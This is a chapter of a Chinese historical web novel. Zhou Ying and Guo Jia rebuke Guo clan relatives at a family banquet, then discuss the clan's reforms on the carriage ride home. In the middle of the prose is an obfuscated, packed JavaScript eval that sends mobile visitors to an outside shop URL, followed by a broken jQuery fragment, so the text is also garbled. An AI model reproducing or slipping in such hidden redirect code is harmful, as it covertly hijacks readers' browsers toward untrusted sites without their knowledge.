这些年的付出,他是都看在眼里的,而今也不过是一个五品诰命的荣誉,一个归入宗祠的好处。
是母亲应得的!
且还远不够。
屋里的一群郭氏子孙听了这话,有的直接反驳起来:“老祖宗这样的做法,恕咱们这些做后辈的不能答应!”
“郭怡和她儿子也就算了!那周瑶一个外姓的,怎么能让她儿子入咱们郭氏祠堂?这不是鸠占鹊巢吗!”
“是啊,老祖宗,咱们虽是不成器的子孙,但好歹流的都是自己人的血,您就算是要宠郭嘉,也不能把外人往咱们家里接吧?岂有这般道理?”
怒气冲冲的几个年轻的、中年的郭氏子弟,这会儿饭也吃不下了,本来心里头就不是滋味儿,酸溜溜的,这会儿郭勋再这样一弄,把整个郭氏的宗祠都要拱手相让了!
大家伙是想着郭三越被逐出门,郭氏没了嫡系,几个旁支的就都有的争了,这会儿横刀插进两个拦路虎,其中一个还是外姓。
他们岂能忍得了?!
这样下去,这个郭氏里头,还有他们的位置吗?
郭勋听着一群人你一言我一句的,全都是为自己那点一己之私斤斤计较,看了一眼坐在位置上拿着筷子,安静吃饭的郭嘉,只觉这个小孙儿,真是怎么看怎么稳重。
大人们吵的翻天了,他却还闲庭自若,不急不缓,有大将之风。
再看坐在左侧的周盈,这会儿放下筷子,坐在位置上,一副端坐得体的模样,显然不为这些琐碎吵嚷所动。
两个母亲也都没管这鸡飞狗跳的郭府宴席,自顾自的剥了虾,掰了螃蟹,给孩子们挑的都是大个的。
郭奉孝:其实我是真饿了,天大的事都得先吃饱了再说!
周盈:……有点撑。
周瑶:得狠吃一顿他们家的!可算扬眉吐气了!我儿多吃点!
郭怡:嘉儿吃这个、吃那个!娘给你剥!吃慢点巴拉巴拉…
诶……
郭勋心里深叹一口气,脸上的不虞越发阴沉:“够了!这大喜的日子,你们要闹到什么时候!闹得这么难看,是想让列祖列宗都知道,他的后辈子孙没出息的样子吗!啊?!”
“这、这一码事归一码事!老祖宗,这是在掘我们郭家的根啊!”
“哼,你们这些狗东西,天天仗着郭氏名声,在外面胡作非为,当我是真不知道?我老了,但还没糊涂!那些账册,那些田产,要不要我找人细细盘算,一点点跟你们算?”
郭勋气的胸膛起伏,饭也吃不下了。他这话说出来,一群人就脸色古怪三分,你看我我看你,大家伙一个屁都憋不出来。
也就这会儿功夫,郭嘉吃饱了,放下筷子开口道:
“老祖宗,我有问题,这国策是重中之重,要实行需得大家伙拧成一股绳,但我看,这些族里不少人,对皇上的这道政策都颇有非议?这事情,要不还是报官吧,让张县令来判一判?省的有人总说是老祖宗偏心。”
“你!”先前吵得最凶的几个气急。这谁都知道,这件事情不能捅出去!郭嘉这话,偏拿了国策压人,谁受得了?
周盈见状,起身行了一礼,见屋内所有人都看向他,也不拘谨,只是含笑开口道:“此也是老祖宗为了国策护航,才提出这三条家规,诸位都是郭氏的子弟,吵归吵,但总得吵出个名堂来。如果有谁不满老祖宗的话,也可以按自己想法,提个意见如何?”
“……”
“诶,好歹是大喜日子,今日老祖宗开心,吵的这么凶,大家伙却提不出什么建议,这是对老祖宗不满,还是……对国策不满呢?”
几个人瞪大眼,有人当即起身指着驳斥:“周氏小儿,你一个外姓人!安敢在郭府放肆?你跟你娘,果真都是商贾之流,一路货色!蛰伏算计,沽誉钓名!逼的老祖宗逐出郭三越和郭尧,为的就是有朝一日踏进咱们郭府的门,直接吃绝户不是?!”
这嘴炮,直接朝着撕破脸开始轰了。
周盈冷下脸,骂他可以,但是骂他在乎的人,这是不行的。
他笑了起来,黑眸里头的星碎尖锐如刺,声音嘹亮一提:“哦?那你说,咱们早先,刚来山阴县,是谁闭门不开,连那原该是郭娘的三十亩祖田,都不肯给?这是要逼死孤儿寡母,何其心肠歹毒!你们是不知吗?!”
“现今,郭三越和郭尧,因其恶果累累而被逐出家门,尔等反倒是跳出来为其辩护,居的是什么心!安的是什么理?审的……又是什么公?!”
郭嘉坐在边上,给周盈默默鼓了个掌,平日里只有他开口炮轰的份儿,还真不怎么见过周盈火力全开的时候。
说实在,一般看着端庄稳重的人,发起火来是更要命的。
瞧着整个屋里头,一时间都被骂的人张不开嘴,脸色一阵青一阵白,郭勋也都有些抹不开脸的微微垂下头。
“我问你们,郭三越和郭尧的事,是朝廷钦差办的案子,你们如今不满,是对朝廷不满吗?”
“再问,那国策下发,沈县令亲读的圣旨,皇上过眼的大事!你们在这吵,想吵什么?吵着造反吗!”
周盈冷哼一声,一扬袖,指着之前吵得最凶的那个中年人:“回话!起来!”
“我没这样讲!我是说,国策跟老祖宗说的前两条没有关系!”中年人抿了抿唇,站起身,开口声音也没那么大了。
“说得好,你叫什么名字?”
那人愣了愣:“郭恒。”
“好,那我告诉你。”
周盈笑了笑,随后便伸手,拿起桌上倒了玉米酒的杯子晃了晃:“古有云:水能载舟亦能覆舟。”
“今,郭氏临飞黄腾达之机遇,却步危如渊薮之险境。数十年盘局山阴县,其下账目田产不计其数,郭氏子孙福泽绵延,光是靠着收租吃饭,都能一辈子荣华富贵。”
“但你们想没想过,朝廷把这么大的担子落到我们头上,让张县令都要配合我们,这是为了什么?是看中了我们什么?”
屋内一群人都没往这个方向细想,这会儿心里不满,听了亦觉厌烦,只有少几个听了若有所思了一些。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771357|203982||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
周盈手中杯子一倾斜,众人便见那米酒缓缓顺着杯口下流:“无德者,不足以于渊薮之上行走,无才者,不足以于江海之上载船而过。”
“国策之事干系重大,所谓:攘外必先安内。清田产,整家风,肃宗亲,是为了将内部那些蛀虫扒出来,是为了让旁看着的一些敌人,抓不到把柄,也是为了救你们。”
“一个姓的,谁出事了,你们能讨得了好?”
“哼,你一个外姓,说到底也不是郭氏的人,我们不信你。”有人嘀咕,心里还是不服气。
郭嘉突然开口:“那国策都是他提的,你要是不服,也写份策论,让皇上刮目相看,让朝廷也封你娘一个五品诰命。”
“……”能不能不提这个扎心话。
郭勋深吸一口气:“听到了?还有谁不服?要是谁敢再公然阻挠,就是要把郭氏往死路引!这样的不肖子孙,直接除名赶出郭氏!”
他说完,气得直哆嗦站起身,手拿起拐杖,被管家搀扶着,慢悠悠地往外走去。
事情板上钉钉,有人不满,有人心里腹诽,有人吓得脸色发白,有人心虚慌张,总归是千人千态,不尽相同。
一场原以庆祝摆的家宴,就这样不欢而散了。
当然,周盈和郭嘉,以及两个母亲不在其列。
吃完饭就开始打哈欠的郭嘉,在马车上紧挨着周盈:“你刚才,在席上挥斥方遒的样子,还真像我以前认识的那个周盈。”
“嗯?为什么这么说?”周盈好奇。
“诶,自来到这儿,你我忍气吞声,一口气憋了七年多,我都快忘了当年你我二人刚认识的时候,是什么样了。”
周盈闻言,忍俊不禁,朝着他看过去:“那不一样,什么身份用什么办法。而今再不用你我蛰伏算计,该把本事拿出来的时候,就要大大方方展示。”
郭嘉一笑,弯的眼睛跟个小狐狸似的:“此言甚合我意。”
“不过,郭勋这个老狐狸,把这脏活累活,都丢给了我们,如今你我也是骑虎难下了。”
周盈叹了口气,他如何不知郭勋心里算盘呢?自家人对自家人动手,一定会落个刻薄寡恩的名头,他这个外姓人来清扫门庭,那就是最合适不过的。
郭氏积弊已久,如栋梁,外看光鲜亮丽,实则内里早已掏空。若不整顿一番,推行番薯玉米的政策,只怕容易被人抓了把柄,到时候往朝廷一告,就全完了。
“现在也只能走一步算一步了。”
“嗯?这可不像是你会说的话。”
夜色下,两辆马车一前一后,摇摇晃晃令人睡意朦胧。
周盈打了个哈欠,实在有些晚,听了他的戏谑,也是无奈:“那奉孝可还有什么好的办法?”
嗯……
郭嘉思忖,啧了一声:“也确实如此,以后要见招拆招了。”
很多事情,也不是自己想当然,就能如何的,计划总是赶不上变化。
“走吧,下车了,今天也是太晚了,明儿再谈谈关于国策的事情。”